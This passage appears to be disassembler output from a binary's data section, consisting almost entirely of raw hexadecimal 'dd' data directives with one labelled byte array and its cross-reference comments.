dd 0DE31DDADh, 4535E440h, 0F052A100h, 38516CCh, 53FC0054h
dd 0ECF742A7h, 9C00488Ch, 918E18CAh, 0C0D5321Ch, 54B60AF8h
dd 223E27C2h, 80CD39D8h, 2F3AA4E1h, 74BFB10h, 598DA7EEh
dd 440FA0ECh, 0C601BBD1h, 0BA586C36h, 0D060E002h, 0FAA4EC59h
dd 1D3700E4h, 7A05FDBFh, 0CC004877h, 2956983h, 18F0ACh
dd 62C38164h, 0E3DCCE75h, 8B40E700h, 84E8AABCh, 24C10085h
dd 51B8AD63h, 20C7E0C2h, 62108090h, 0D6F91Eh, 6D8E3B6h
dd 0BC2A2129h, 47C47000h, 7930D2A0h, 0ED5F00A6h, 0AFDFCC04h
dd 0E8CFEE4Fh, 0B49FE085h, 7D18E8Bh, 4880C7Bh, 6CA0EF52h
dd 0AD588942h, 0B6AA7700h, 0D2F0C1CAh, 6123126h, 0F0F74980h
dd 0F300BED3h, 36A8DD18h, 1805EFCh, 0CA783AAFh, 0E074B770h
dd 45017E4Bh, 501E55D4h, 898865EDh, 3CACE99Fh, 88D55804h
dd 3DC47090h, 332C0086h, 99E426C5h, 7616EC83h, 4B0048F1h
dd 88419BBDh, 6BFE0094h, 0B8FAC919h, 0D07A2C63h, 21DF4A00h
dd 0F0C3AA2Bh, 4C202DEh, 73D2F911h, 0B87F5CE0h, 5F140B18h
dd 6A4111h, 74AB8021h, 5CAD6EA4h, 48856324h, 0F7806D9Eh
dd 2C1D8CDFh, 0A77A05E5h, 0C039F5A8h, 633FB2Bh, 0E2F6C8C1h
dd 36804AE3h, 7713D16Bh, 7F007D6Fh, 65E8BCD6h, 71486Ah
dd 0F18E2CCBh, 70DAEBDBh, 0C46EF200h, 15D4D80Eh, 1C0C7A6Bh
dd 977B9874h, 0A3C0092h, 994B1224h, 2B328505h, 0F890DDFAh
dd 1F661D1Fh, 803C95F1h, 51C6FF7Dh, 77072BEBh, 48A9412h
dd 13C2DD20h, 0BA3170AAh, 0D9AF2EF0h, 6CBF40ECh, 6E01A1A7h
dd 0E272FB7Fh, 8C405F77h, 105D732h, 90D4FC39h, 0DCEE740Ch
dd 6F07AD4Fh, 0B2BE5D03h, 0C4AB0FF3h, 2F2BF080h, 64665C15h
dd 42D15600h, 38C0EC23h, 82B0A200h, 401B880Dh, 0AA763B8Dh
dd 0E50020DCh, 9DA3EA51h, 3A0070E6h, 338C555Fh, 0DF8E73h
dd 75CFAAF4h, 8960B564h, 2BBB0D00h, 0CB126501h, 7A950056h
dd 9A94E820h, 1300C770h, 96EEC44h, 503ED550h, 1EB49703h
dd 0A2CD26h, 0CFA586BEh, 0D50BD0C8h, 726148h, 105AAA18h
dd 7FCD0015h, 0E59570C4h, 3D240797h, 0D70080C6h, 0B47E6773h
dd 35A93CFCh, 0ED022607h, 0EEF0E03Bh, 0CB001A8Dh, 7A3AC532h
dd 98B114FAh, 0F2D4E018h, 0F6E0040h, 0E18410B8h, 18900ACDh
dd 80E8A326h, 2CBC8C80h, 18EFF9B1h, 0C1178647h, 70003E1Ah
dd 0F2C1AA23h, 28BD418Dh, 0B02E8Fh, 5F9AF833h, 88F33D2Ah
dd 733EF502h, 8013AA75h, 817A09ACh, 11ECC1A9h, 20A79984h
dd 0D1EC9B4h, 459E58C0h, 6E6D1980h, 614C851h, 290A1D7Eh
dd 405A05Dh, 0D61F58Ch, 2BC1F800h, 7ECF6Ah, 0F757C462h
dd 97DE5D1Ch, 0F6840901h, 0F3DFE963h, 0F42D4860h, 715500E0h
dd 0DC1A5A7Eh, 0DB704811h, 0EFB2E40Bh, 0A6DC00C3h, 7FAE67h
dd 0BBD9B75Eh, 9639B4E2h, 0A4BC0A0Fh, 0AF862132h, 0E6F0AB73h
dd 0E27D25h, 4176A7C7h, 22440CB5h, 0BB771E00h, 0EB8A057Dh
dd 1B3105DCh, 900497E7h, 0DB2EB760h, 2000E373h, 0A23544E6h
dd 0B9C061h, 4B36D01Bh, 2EA082C7h, 6C2A8103h, 0F85449CFh
dd 26D4973Ch, 2BBBE3Dh, 0A4AD56D5h, 0C26D3FC0h, 0AF0160B0h
dd 27B5A261h, 99EF3CCEh, 82804055h, 8FA46FEDh, 1A0077C0h
dd 3C97AC87h, 0BA97827h, 0E615C4FCh, 372E7C00h, 501C81BCh
dd 0EEC0BA0Bh, 0BF44661Ah, 0F2A32EF3h, 0CAAB1EC0h, 30F0B632h
dd 0BF65628Ah, 4B39900h, 0FFDFC472h, 103E0322h, 5345D605h
dd 4195A3E0h, 0CB00D098h, 0FE55FB1Bh, 725943h, 6BB165D1h
dd 40140C35h, 5B62C03h, 0F8FD3E64h, 59F517C6h, 7510802Bh
dd 0CC070053h, 0DF55EF0Ch, 8ABB0046h, 0C4A30E7Dh, 0E8C08234h
dd 3168D183h, 0DDDA0E48h, 42E03263h, 2165034Ah, 4C730500h
dd 352C5A53h, 0F46E000Dh, 71292EBAh, 0AFE409B5h, 8F792838h
dd 0E91BC05Eh, 6EB90007h, 0AE6649h, 0FC8AB35Ah, 168B28DAh
dd 57105300h, 0ED7C36C3h, 52131C81h, 0CDAB40B2h, 0A7AEEAEBh
dd 0E3CA5B1Fh, 0DB96FF40h, 3A1DDFBFh, 3E857B51h, 0C344E2A5h
dd 6190D9B3h, 373845ADh, 0F89BB0D1h, 54DAB8Bh, 102E0C96h
dd 888C014Ch, 381605C5h, 878B2C6Ch, 23E59107h, 0A8300D01h
dd 2C70C6h, 0AB5BD2FBh, 39E15AACh
db 0Eh
byte_530055 db 0D5h, 40h, 1Bh ; DATA XREF: ___:off_43859Co
; ___:off_4385B4o
dd 0BF81C03Dh, 3C982h, 88012131h, 3F9A99B9h, 0A91011E6h
dd 660076DDh, 0FAB06116h, 0AC0006B2h, 0BD6F8CDh, 0BE7949h
dd 7F2EFC4Ch, 11677004h, 9E176E1Dh, 0E740231Eh, 0CD5E8877h
dd 1EE6ECEFh, 81E170C6h, 0DB8C0F50h, 0C1D1CF46h, 0ECF9401Ah
dd 6F002D3Fh, 0E42E6825h, 0CD13B0h, 47A7711Fh, 0B4F416CFh
dd 0E2C05Ch, 0C4F79CAFh, 0B739EA8h, 2CE97F3Eh, 18C58D01h
dd 0D72880E4h, 0C1217158h, 0CC9976h, 62B6BC25h, 0D30999AEh
dd 8FCEA9C7h, 4AAAC046h, 11F036Ch, 0E73145FBh, 0F046C91Eh
dd 2D006824h, 0E19D7F1Bh, 38C1D71h, 0ECC678C1h, 85C00FE2h
dd 0EB814DAh, 0BA7F8212h, 7A4A5840h, 1FD3EE0Ch, 801F1637h
dd 31E458Fh, 0EC00B535h, 1A85927Dh, 5D770Eh, 0E50FCA74h
dd 374E2DFCh, 80046E3Ah, 9485C4CDh, 3D41893h, 0EE786973h
dd 0E0BFBDD0h, 80EB72C9h, 0E09A5A7Ch, 88D25B00h, 340F9522h
dd 564638A5h, 202DFF98h, 2E015121h, 847B2080h, 0A8BEA7F3h
dd 0F93190Bh, 0CD897CA0h, 630011C5h, 42CBC6B2h, 1315E8E4h
dd 188834h, 19602B7Dh, 0C000163h, 65312E59h, 0C0393E69h
dd 0A7FD8570h, 26003ACBh, 97630ACAh, 16BEFB4h, 0EB9A1BA4h
dd 0D88EB5BDh, 37008D6Ah, 340BA31Fh, 3D22F63h, 9036CB5Ah
dd 803E7D23h, 1A0F0ACAh, 8500509Ah, 0E6E5A62Eh, 0E0FD009Dh
dd 72DE9216h, 48E36EEAh, 0C92ADB84h, 3407C4BDh, 0D75649DDh
dd 0EC0C0791h, 0B5F171F5h, 0EEDAC9Eh, 21808E36h, 0B7814C15h
dd 0F2A6A300h, 0AE1EBE09h, 0A541007Ah, 5391C559h, 8503B3C3h
dd 0B4B94A06h, 4397D883h, 0C820003Eh, 59416A77h, 3D0068D9h
dd 72AAA167h, 972FB4h, 0B5CF612Dh, 0D3D85D02h, 206DD500h
dd 3F956B96h, 9A721EDBh, 0A614802Ah, 667151EFh, 0C3F8B100h
dd 959FB664h, 0F2813082h, 2856A6E1h, 4D5BBB00h, 0BDDA35B5h
dd 0A0270088h, 0DB9D8607h, 0FC58ECCBh, 1ABC0C9Ch, 54923958h
dd 3A4FEh, 8835C569h, 75765CBAh, 3597B4Ch, 9701896Dh, 932819F9h
dd 0E8D231E1h, 2601BA4Dh, 0D70D2B46h, 1D308DF4h, 0C5F900F7h
dd 0CD91D827h, 7000A77Dh, 0B913C9DAh, 90542C68h, 0DC840086h
dd 91CBDED5h, 82FE4B18h, 8B653B0Fh, 3F017EE4h, 36515A89h
dd 72B2E4h, 0A818854Ch, 59C093A4h, 80315201h, 913DE15Bh
dd 22C95C24h, 6000F492h, 3821BE75h, 130D16Bh, 7D9D706Fh
dd 30FB9C45h, 0E0008911h, 67BD23B2h, 0EDF86A7h, 108F5D9Ah
dd 0E6F2ADE0h, 0F5002926h, 0D0F16C5Bh, 1B6474h, 18B109E9h
dd 53DCDE5Ch, 9561E001h, 5FB21E96h, 31177EECh, 25383BC4h
dd 9241803Ch, 0CB3795D5h, 211F00D0h, 0A90FB112h, 5900E330h
dd 560D9EEEh, 7F52E6Ch, 903A9327h, 90430744h, 31BAED7Ah
dd 0DE1F8674h, 47C1336Eh, 6DF753D5h, 5C7618Dh, 0BDE74008h
dd 0DC002D0Dh, 1B598168h, 0B2398Dh, 0F54E108h, 2AED8509h
dd 0F53DF53Eh, 0DCA17700h, 2576BBE2h, 5151C120h, 20B845C1h
dd 0D9F4B00Bh, 0FA509600h, 0ED7768D8h, 63D14CEEh, 19C82F00h
dd 512E1B04h, 41C324E8h, 5579B5h, 1DB50D1h, 0A568F27Fh
dd 0BE3F3Dh, 0BA90D369h, 0C0848E81h, 27488929h, 0B679FA56h
dd 597EFF00h, 0A10F9B40h, 4249006Ah, 0BEA77C7Dh, 3400E5EEh
dd 13E2F504h, 0A92E5EDBh, 1E106BB8h, 0B80048A2h, 0E42B2DEFh
dd 33DC633h, 0E0E131DEh, 73E1C73Ah, 501ED15Fh, 0BAA1429Ch
dd 9B0AE504h, 0DE80544Ch, 0FD34BEBh, 32C60B76h, 0C77EBE2Eh
dd 80C58E4Eh, 2CE2F421h, 803B023Fh, 0CAA2B7B5h, 0CE9188h
dd 0F46845A5h, 1FC3508Fh, 65671300h, 0B99B4635h, 0CC4200ACh
dd 0F4EC5B1Ch, 6AF8A3E3h, 1808D907h, 37400EEAh, 30697A6Fh
dd 0E3185BF9h, 0F47833B1h, 6D215703h, 0C03150A3h, 3719FAFh
dd 549116FCh, 9300EE8h, 87CF2135h, 0CA670371h, 0EF93DEBEh
dd 340669B6h, 5C3D6979h, 318F6C10h, 48C2860h, 16FD7194h
dd 1CE38A9h, 0D576719Ch, 83189913h, 433EA049h, 14E7F01Ch
dd 0C3041E22h, 0BC2C058h, 1E2F8E42h, 77D5F81Ch, 0D816DC47h
dd 0B93D9930h, 90BEF5FEh, 8F035BA0h, 796F92E8h, 0B6F3A0CEh
dd 0BA8101E2h, 0CA08DFD7h, 2D94E046h, 61005EEAh, 3D96A5ACh
dd 8D5B99h, 241908D8h, 0C24CF43Fh, 0AC3B8628h, 0AB36DE00h
dd 0C9844821h, 0D29200F6h, 8F2CF717h, 6500E116h, 0F4DF9061h
dd 578345h, 1A7BD5F5h, 0B4789609h, 8FC8B80Ch, 603009ECh
dd 0E1FA20F6h, 9505D996h, 0E20D3B12h, 7A5CB21Dh, 0C4015300h
dd 528E9Fh, 0F1CABD35h, 0A5622690h, 43F094E8h, 765E6C06h
dd 0F204405h, 0D5F4DCE3h, 8DEC3800h, 88C73A4Dh, 0DA50049Bh
dd 1825E622h, 8FEFAE8h, 20C039A7h, 7B3AE3BAh, 8BA20081h
dd 0DC4AFC5Bh, 80E983E8h, 0F6D15C9h, 266A82h, 8425014Ch
dd 0A1F42E56h, 0F2C74A03h, 0A09CE136h, 66497659h, 807B903Fh
dd 0CE0E91C8h, 22B045E0h, 448618D6h, 500D0A6h, 0C13B483Ah
dd 14AF7B9h, 30C3C59Ah, 81D42041h, 0A86CF458h, 98C0C7FBh
dd 0A8FA6FD3h, 89E3A28Eh, 0DDD4A5h, 954F3290h, 6B1D14D2h
dd 4C00E119h, 3EA96E90h, 2381039Ah, 79FC7B0Eh, 0B5F5590Eh
dd 5FD8E9E9h, 54057081h, 9C0898CEh, 0E10B21h, 0CBA26379h
dd 22ED0AE0h, 0B290CD18h, 0C5EA470h, 0CABE28D9h, 1814F6F8h
dd 8831EDh, 0C7829214h, 8149C3h, 0D14F01ACh, 0A5963290h
dd 0D0A6F80Fh, 65401E54h, 0F9C5BD13h, 5ABF0099h, 9A0BD8FCh
dd 33188388h, 0A428EF89h, 0B73F3C6Eh, 1213AE00h, 92E15064h
dd 90043F8h, 838FBF1Bh, 0C1D68E37h, 1640430h, 60499EB7h
dd 25099700h, 574CF9h, 0CC5615ABh, 0D6378453h, 6DB3Ch
dd 12E00B68h, 1E761143h, 80ECD579h, 47D401Ah, 0C1009556h
dd 25506C01h, 1B4E9D4h, 0D95A1B4Bh, 0C7EF47BCh, 83FCC5BFh
dd 9000B5A4h, 0CD04C11h, 79659A96h, 0F0A94101h, 19C6EC64h
dd 3DE081C5h, 48004ED0h, 45FCE4A6h, 0EEE2E3E7h, 0A9623F01h
dd 91636C8Ch, 0A3542880h, 0D3575EB3h, 8AC89C18h, 276B41h
dd 42B7DDF4h, 851B3AF2h, 0CD0CCC00h, 0DA72345Bh, 6A260CC0h
dd 0B2B0C4C1h, 574E7E00h, 0F621B7E6h, 590A009Bh, 38D50511h
dd 0B9005101h, 474C7D96h, 6F546Ch, 6BE41FCBh, 0EB0F5CF2h
dd 0EE893401h, 0CA52B707h, 570048BAh, 0B3AA781Fh, 7CE25CDFh
dd 38612700h, 0B8BA967Fh, 3FE80079h, 32C70147h, 431F4892h
dd 0F244F606h, 0BFA0810Eh, 64C938BBh, 0E7B7F080h, 3C6B3D1h
dd 6D9D7200h, 638E7466h, 22CD1E88h, 0DD5B024Dh, 0E6098ADh
dd 92002BD5h, 0A9506D9Ah, 303BEA47h, 17B04F1Eh, 2B30E5BDh
dd 0FC5E20CCh, 789F00BAh, 0EACED312h, 0C57ABB1Ch, 2F473E01h
dd 622B57B6h, 0BED5F880h, 0B87E82F9h, 0E5480E01h, 0E6611EBFh
dd 0F08BE0h, 3738E4B1h, 0CCB6105Fh, 0D0C10B1Dh, 486842C0h
dd 4D49F3h, 2FC06A62h, 0F8D71A01h, 52EBB200h, 61D14604h
dd 0BA29C05Bh, 0E9A6D645h, 0ADCBF506h, 340805C1h, 812040B7h
dd 0E054C83Dh, 0DE00BF75h, 0FE4AACC2h, 0ECEAE3h, 0F6103A52h
dd 1460C349h, 0B50F9F7Eh, 597FFFC8h, 698D5A70h, 0E008B189h
dd 79039580h, 0EFF256AEh, 0C28962Bh, 85120AC9h, 0CF5CB040h
dd 0B1EC328Eh, 0D74C30F8h, 3DE9A908h, 409464C9h, 0ED72187h
dd 921F0065h, 791A77C7h, 0DC511BEEh, 90608728h, 0C380EF05h
dd 3A6C4001h, 7C009F88h, 2F587A17h, 0AA0B3C28h, 0FF6E94h
dd 0DDA37EF5h
dd 4A6A0270h, 0EFD7B45Bh, 2A989B40h, 0A4E6D0EAh, 0B949C900h
dd 0C375FC36h, 0EC200026h, 128332A2h, 500EBDDh, 9F270CC1h
dd 0F726016h, 3447A010h, 8708C05Ch, 6C8F28C2h, 7892F900h
dd 0D1827DD0h, 485F24Bh, 6C840FAh, 6341C386h, 36B8B998h
dd 0D61E90E6h, 1700D7EEh, 0D9832E97h, 30470765h, 0C0F47435h
dd 10F2C9AEh, 3FE31B3Eh, 4407F464h, 0EA6B2D28h, 71FDF8B0h
dd 0B5E03110h, 80D0B708h, 0EA23A020h, 0CED7D72h, 0E8869775h
dd 7E007818h, 0E6C45BD4h, 3188B9FEh, 4161F7ECh, 1D6D0CC9h
dd 230739EAh, 0D18A08h, 0C2EA22A6h, 35008F59h, 0D389CDB2h
dd 2067474Bh, 0A318C198h, 0AA584C3Eh, 1200E2Bh, 0CBE07808h
dd 0D66B49BBh, 0BD3B9703h, 14D100Ch, 9247F779h, 0E4DED485h
dd 783EB68Ch, 0E7DF802Bh, 0C4D284Fh, 611676A4h, 752C1868h
dd 0E490148h, 3EE123E8h, 2061AE83h, 0FA2562B7h, 0E88600Ch
dd 0AA47A46Ah, 0A2111502h, 0C5A32643h, 0CA44A82Eh, 0B63B3200h
dd 3083E062h, 90482FF2h, 21039D0Ch, 0EAB310C0h, 3B7E9860h
dd 8FE429h, 0AA34D2B2h, 1C849D55h, 9C0B2300h, 6873EB69h
dd 0FB661E94h, 0FE3340C8h, 0B3A6FA18h, 56A73A00h, 67EE32E4h
dd 0FF6F1C85h, 22C80046h, 0C7718FD3h, 1B005FEAh, 0EEABB71Eh
dd 440E77h, 465349E6h, 6114A03Dh, 50BA9500h, 39776066h
dd 3508CCADh, 5E001321h, 7B08B95h, 0B91F6h, 0CC668EE8h
dd 0C25C0380h, 0CB850C1Ch, 82FE8Eh, 0F90161D2h, 404161B8h
dd 609B334Bh, 1FF80D21h, 34538D03h, 0C143D979h, 4080EEF8h
dd 3D44F224h, 6F0C3A2Ah, 803482F4h, 2E8003C0h, 979018F8h
dd 92FE721Eh, 203B8F8Ch, 2EA80EC3h, 0BC8088A3h, 0CB3A57F9h
dd 0D94DEC00h, 4BF6A179h, 66A3B041h, 583868EBh, 0C03169C8h
dd 18D22E9Eh, 54656E07h, 80EE7055h, 0E936B5E2h, 1E080E0Bh
dd 79800A0Eh, 6A3B1D33h, 5C4D8700h, 6674E1C8h, 6F513EFCh
dd 19B52A18h, 9A3E5E01h, 563701FEh, 1342C37Ah, 0D3D4E9EDh
dd 5AE840h, 0CEAAE45Ch, 0A6A38E06h, 565E5900h, 130CF766h
dd 5D9600C7h, 48CC315Ah, 4474DDF0h, 2BCA5300h, 0AB3725EBh
dd 59960047h, 0F6C96CEAh, 0F4004FACh, 0E245E7BDh, 7FFBB0h
dd 47B8DF3Ah, 94D4B575h, 0E6D6800h, 69EDCD8Bh, 3F64774Bh
dd 2D809627h, 893B0FC9h, 0FF30DAA0h, 577D408Bh, 0A2880380h
dd 0E79733B1h, 14ED1800h, 0A8D421E3h, 437301ACh, 1C26CB3Bh
dd 1000E746h, 5775339Bh, 935068h, 37BCA2DBh, 0E954D1Bh
dd 6EDE6200h, 7ECF56D5h, 60BB6F94h, 0C0E8AA87h, 26FFEF15h
dd 18DD557Ah, 0A7BA7940h, 6C3CCE2h, 0FCDB965Dh, 0B63BE188h
dd 861A8012h, 45F9E990h, 8FE0057h, 71E2EB7Ch, 6200E85Ah
dd 0B17048E5h, 0ECFF1222h, 245502A0h, 38201BCh, 0E31F6EE0h
dd 7D6AD200h, 8785F2CCh, 73580069h, 8A50DF7h, 0BC00FEFAh
dd 0FB65537Ah, 0CE26F403h, 4A007C18h, 5A09935Dh, 9ACFD100h
dd 79C3BA58h, 0FC9C01EBh, 1328FA0h, 0F16EE06Bh, 0DF2B8B03h
dd 0A820C8FDh, 0B840371Dh, 26603EC5h, 557F1B00h, 0A5217C0Fh
dd 82CB731h, 0F1705F08h, 4F37001Ch, 9A445C69h, 0E002550h
dd 2201F40Dh, 70AC0FFh, 1B11032Eh, 0F0C6C1E1h, 67E6E84Eh
dd 0B402E506h, 12D8859Ah, 1FD2AC66h, 0FB0A40FDh, 41F4B760h
dd 6A95CC18h, 95F5E88h, 0E77EBBD5h, 7F75680h, 320034AEh
dd 6C4E9CCEh, 74FB8F2h, 87B5E8D9h, 3B6743D8h, 0A6B12000h
dd 6156B47Bh, 0F8F73C22h, 8058961Eh, 0A2463612h, 0F518C5D6h
dd 3C3006C4h, 2ABF0014h, 0AD89025Fh, 0F83ABBAEh, 213030C8h
dd 28F7DAh, 0A5783BF2h, 68338EC4h, 0F892C103h, 0FBA27209h
dd 81409847h, 304BFDD1h, 0CFC4E782h, 19ED2110h, 0C960B134h
dd 43D0605Ch, 0C77C3600h, 0A98EC185h, 9A1C032Bh, 1A1BD871h
dd 0F3346100h, 2C897037h, 16335CE7h, 1A3F0F75h, 0AE71842h
dd 7BEAE0Eh, 0E5E9AFABh, 0C5AC413Ah, 8EBC45B5h, 7BB738h
dd 0D4FE12D6h, 0B198000Ah, 62ABC80Fh, 100E3EEh, 0E6FC9A3Ch
dd 9B191Eh, 30A4DFC6h, 4E2BAC8Ah, 0C2C38100h, 58D99D2h
dd 295F30AAh, 0F6678E10h, 36ECE38h, 0F326610Bh, 8DE3E01Bh
dd 184D58FBh, 2760420Fh, 48772943h, 0B932F3B0h, 0E61F1101h
dd 0D15189D0h, 739F6CD8h, 2B7ACDh, 0B5CF295Ch, 0E27F3D53h
dd 49C30303h, 0A915C680h, 22F06131h, 0F8910C48h, 54B8A69Dh
dd 14A88B00h, 69BE497Dh, 64360126h, 24BC7029h, 41C1608Ch
dd 0C86A3Bh, 0B884BEE2h, 8E2653h, 8D85B2B1h, 89F158ECh
dd 0D6904E60h, 3C461Ah, 8BB38C43h, 2AD3BFA4h, 307673Ah
dd 59554E3h, 808DA0E1h, 0A6720008h, 869D2E33h, 0C00844Fh
dd 0E55CE087h, 0E46B22Ch, 66F9D5D3h, 77B415h, 61EBAEFBh
dd 6B2F2C6Ch, 18188D60h, 3573F77h, 4C9B95E9h, 0C3E13524h
dd 146DD09Fh, 0A0076600h, 0B6932D91h, 253107DAh, 0B01179E7h
dd 80640954h, 0C0DE2900h, 874AE5B5h, 79B7E6F9h, 0D06E004Fh
dd 0AA72C466h, 0F800DCCDh, 887694CCh, 1F4F02A3h, 8114E9D2h
dd 28342747h, 51F3041h, 8C2D6D06h, 384A24h, 773806BCh
dd 46B0EBE2h, 0ED98C800h, 0B195F4E6h, 28E90104h, 0BF700226h
dd 0A6F770D1h, 0D9A0122Eh, 0AEC0AB1Dh, 439881CFh, 2D210074h
dd 9D020AA8h, 85F0766Fh, 0E0363700h, 72DB94E5h, 161300D7h
dd 7140B526h, 92033148h, 0DD5C3382h, 605ADA53h, 4D795Ch
dd 68A105A2h, 65AB2FA9h, 0DBCFCE1Fh, 84D2BE87h, 969F5A30h
dd 971C0175h, 439CC247h, 45B740E5h, 951412FCh, 18CA5A7h
dd 1F21B653h, 2BE0B548h, 874C3041h, 0BB88EFC0h, 0D800CEE4h
dd 120BB83Ah, 3906C7B4h, 0FC1CCCB5h, 0DD0F40B3h, 0CE928D8Ch
dd 3BDC0101h, 8F4F6255h, 0D73E1080h, 0DE371AD4h, 518C0C31h
dd 0AE20D8D6h, 91B30BB6h, 4B00B03Bh, 0DE2668C8h, 1C140350h
dd 0F7D8DD18h, 1CB7069h, 0AA9A5FA1h, 0A8A59DD4h, 0FD0FED40h
dd 827DF063h, 80D980DCh, 0E41C470Ch, 0ACB40CBEh, 9848F101h
dd 6B2B901Ch, 6F0A4C43h, 382185DEh, 4080A440h, 396A7E55h
dd 3B1E2BCCh, 0BF40B991h, 6FCE9581h, 0F5EB18B1h, 2879388Bh
dd 76927700h, 0CFA5671Bh, 0DFB8006Fh, 0C3D81CA1h, 54004AB9h
dd 9FE8E6F4h, 18408B0Dh, 28F9125Eh, 0E2004125h, 6EAF278Eh
dd 23FF7Eh, 0BD9580EDh, 54BADF68h, 92A9E103h, 0A0B7CB38h
dd 0AC1C35h, 0FD1D1067h, 5856B840h, 0F9267901h, 5FD245C1h
dd 9491F0h, 403522D6h, 0A5DCFFA3h, 8018BCFFh, 0CB75377Eh
dd 0B8A9E0h, 0BFC04381h, 0E353A03Eh, 0ACD4781Eh, 0B1AF1B00h
dd 0FA37721h, 6CD74AD2h, 0D603B640h, 660061CCh, 42EA36BEh
dd 0FA4081A3h, 91FC0EF9h, 264090F5h, 0EA6325E4h, 5EF810EAh
dd 0B4491903h, 96AE29AAh, 32C8598h, 0FFC94DA9h, 0B4CDA819h
dd 0DFE417F1h, 18D06018h, 54B8DEDh, 8E6D3C00h, 0FFCB1C28h
dd 0B288A016h, 45CD033Fh, 0A9B1222Bh, 20EE4100h, 0C53D688h
dd 0B278C325h, 0B6D8866Ch, 98027018h, 671AD1Fh, 6776E002h
dd 0C16000DCh, 9AB8F726h, 4304AFEh, 0A8F6E0FAh, 524A852h
dd 0B62100C4h, 3937A5C7h, 181858B0h, 91903F69h, 0B92D605Ah
dd 0AAEBA568h, 309849DBh, 2E9E821h, 0AD0731B8h, 4FC15D85h
dd 509BA1F1h, 0FA2BD060h, 62700043h, 0A3D687FBh, 0B100AD63h
dd 55CA27B0h, 39EFB5F9h, 3F8F21E8h, 175FCED0h, 537A00D2h
dd 9D86C760h, 59EA2200h
dd 0F6A24433h, 2D710C82h, 11100DCEh, 5EF08F00h, 259F4F7h
dd 5851FEBh, 41B880BFh, 8B2B4E81h, 0C8376A00h, 0F998D866h
dd 0D0711FD6h, 0AF3B7DE9h, 0A0416180h, 0D32535C3h, 0B53A600h
dd 269C69ABh, 19E0031h, 94EC9093h, 90A0139Bh, 0C7002A10h
dd 6F473A48h, 1C8965h, 0CB2CBF51h, 31365364h, 6082CF00h
dd 0A58F6DFBh, 39B0087h, 1481B9DCh, 3B0350C2h, 0D3801084h
dd 0CC99B0A4h, 0E8A000EFh, 0A102D452h, 0D814853Dh, 3EB81ED5h
dd 0A558F56h, 8E9B0057h, 65D9AAh, 14B2F68Fh, 6C01BF46h
dd 0AD001AFCh, 16AFAE22h, 0E8D62F85h, 29691471h, 5D00FF34h
dd 2D77C886h, 520F6EB7h, 80CF9CA1h, 0F0845B5Ah, 729E00F2h
dd 91A84924h, 3D14A944h, 3AFC8CEAh, 174300E6h, 0CA9ECE28h
dd 988900C4h, 0EE957FD6h, 82F40F10h, 498D8000h, 17552301h
dd 3BAB0060h, 0FC91219Eh, 9A1FE607h, 39706Eh, 4A2DFEA9h
dd 541E58h, 0A240A811h, 277EC2C8h, 0B95BB500h, 8F6F6DC6h
dd 8889013Ah, 58A10908h, 87DFF828h, 4667C703h, 0F0EC9C15h
dd 4E5C5Ah, 0A13D1F68h, 0D3569EFAh, 6A12E91Eh, 0DE087380h
dd 1452CBh, 1D78A39Ch, 0E1990B71h, 891F8D0Eh, 0D1B82190h
dd 0EEF1E281h, 27542880h, 37496F17h, 9A588700h, 403FDEF3h
dd 5A280019h, 0FBFC22C0h, 0C600AC33h, 9FA8299Eh, 5436B38h
dd 28C1DD3Ah, 1D830E5h, 0B5051C66h, 40C821A8h, 0EB90F080h
dd 0F63C398Dh, 87C00924h, 606DBCA5h, 871986AFh, 0A86B1F00h
dd 1240D0B6h, 3B731Ch, 311980Dh, 42B37F38h, 78FD9B00h
dd 44C71B01h, 0CDDE023Ah, 8E639A1Eh, 307EB280h, 9B00BCB7h
dd 3C3D9597h, 8CE2E1h, 2A2862E7h, 32E4EBC1h, 0AAFF5D00h
dd 76EC892Eh, 0BEE60199h, 9D5B1C29h, 0D4EDC074h, 2698316h
dd 0B47800EFh, 9151F209h, 3D6DAC00h, 2C275C76h, 25CB00ADh
dd 0C30FF670h, 3C001D62h, 30E8966Ah, 90AB95D2h, 552003Ah
dd 9C377271h, 7048BAF6h, 81C70270h, 75D3B8F5h, 11380DC0h
dd 0C1A83551h, 0FD29306Fh, 124BDE00h, 0F296A946h, 337D004Eh
dd 1C3C8A7Fh, 0DD000BDFh, 210F059Ch, 349AFCh, 0A7A1A27Bh
dd 0D4EEB73Bh, 0A3C57C00h, 78381BB1h, 0EACB073h, 0D92EF494h
dd 92112AE0h, 0B204CC69h, 401D59E0h, 0CE0776C0h, 0C28F1E87h
dd 5CC7C0E6h, 0B91C8CDFh, 109A1E79h, 19287300h, 760E26F6h
dd 0ED90A8BDh, 12673E45h, 0C2C4431Fh, 13BEB650h, 0AB909EE3h
dd 294C3FFFh, 0E5040050h, 88CE0876h, 0DB1C142Eh, 0AF0368D3h
dd 0F669914Fh, 8EF8559Bh, 0E400A732h, 1B587A40h, 3F7EA9h
dd 0A6CB95D3h, 0EC18AF92h, 0C258B260h, 0F1BC9863h, 0B54CF0h
dd 0C80112E3h, 0AC664AF3h, 2E83D81Dh, 0F8864Fh, 97B239Bh
dd 484700DCh, 4B440881h, 9338A519h, 995A8330h, 8867329Ah
dd 78027FAAh, 0B2A70FFBh, 0BDC08D09h, 0BB4256AEh, 70EF73E6h
dd 0C40018CEh, 75A5AF8Bh, 0ECF2194h, 0DAA00716h, 59F6E880h
dd 6100428Fh, 735C1C4Fh, 0F85F95F0h, 0A89355h, 0C5E245FDh
dd 5614D398h, 0B02AA7h, 0C3F9AFF5h, 53717BFh, 19E7D5D1h
dd 4C64901Ch, 521E6DD4h, 2D008DB8h, 4A247B4h, 7B030723h
dd 80837DBEh, 9B4B82C4h, 0D063DA09h, 0F84800FBh, 4CBD1576h
dd 8A1484F1h, 0B85024D7h, 9F940028h, 0E647DBEBh, 0B9008A12h
dd 1AC7B7A2h, 3ECBFFh, 7959FB8Ch, 9EEA951Dh, 28903F1Dh
dd 5A744580h, 1A2B87Dh, 0AB05F165h, 0C48ECB15h, 3B01B64Ah
dd 0C36ECDFh, 9EE404F5h, 0E4724C0Fh, 59158402h, 0C4404308h
dd 0B307607Ah, 9FD1F275h, 7C13130h, 0B50418C3h, 0F8A13071h
dd 1C905AF6h, 0F237CE07h, 0ED52EFD6h, 0F4645Ch, 6EFBA1DAh
dd 4C2604CCh, 8A3E3501h, 0B0CF5F60h, 4BD6E3D0h, 0B2930BE1h
dd 7980D420h, 3E0069CCh, 0B820392Ah, 0FA161FFCh, 68600B9h
dd 9892B3C3h, 0CA0019D1h, 0FB24EA72h, 73E21Fh, 0E7DFFAE5h
dd 4F334D02h, 0F1AD7A00h, 9DE810F8h, 6467001Bh, 7F91B17Dh
